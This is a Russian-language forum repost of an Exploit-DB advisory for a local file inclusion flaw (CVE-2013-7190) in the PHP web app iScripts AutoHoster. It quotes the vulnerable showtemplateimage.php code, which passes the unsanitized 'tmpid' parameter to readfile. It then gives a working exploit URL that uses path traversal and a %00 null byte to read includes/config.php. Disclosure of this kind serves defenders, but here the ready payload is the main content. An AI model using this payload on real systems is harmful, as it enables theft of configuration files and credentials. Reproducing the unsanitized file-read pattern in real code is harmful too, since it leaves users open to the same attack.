Exploit iScripts AutoHoster - 'tmpid' Local File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
38890
Проверка EDB
  1. Пройдено
Автор
I-HMX
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2013-7190
Дата публикации
2013-12-15
iScripts AutoHoster - 'tmpid' Local File Inclusion
Код:
source: https://www.securityfocus.com/bid/64377/info
     
iScripts AutoHoster is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database, to execute arbitrary commands or script code in the context of the application, and obtain sensitive information that may aid in further attacks.
     
/websitebuilder/showtemplateimage.php
include_once "includes/session.php";
include_once "includes/function.php";
$templateid    = $_GET['tmpid'];
$type      = $_GET['type'];
if ($type == "home") {
  $imagename  = "homepageimage.jpg";
} else if($type == "sub") {
  $imagename  = "subpageimage.jpg";
} else {
  $imagename  = "thumpnail.jpg";
}
readfile("./".$_SESSION["session_template_dir"]."/".$templateid."/$imagename");
Hmmm , we can cancel the imagename value via the null byte %00
[+] Exploit : /websitebuilder/showtemplateimage.php?tmpid=../../includes/config.php%00&type=sub
 
Источник
www.exploit-db.com

Похожие темы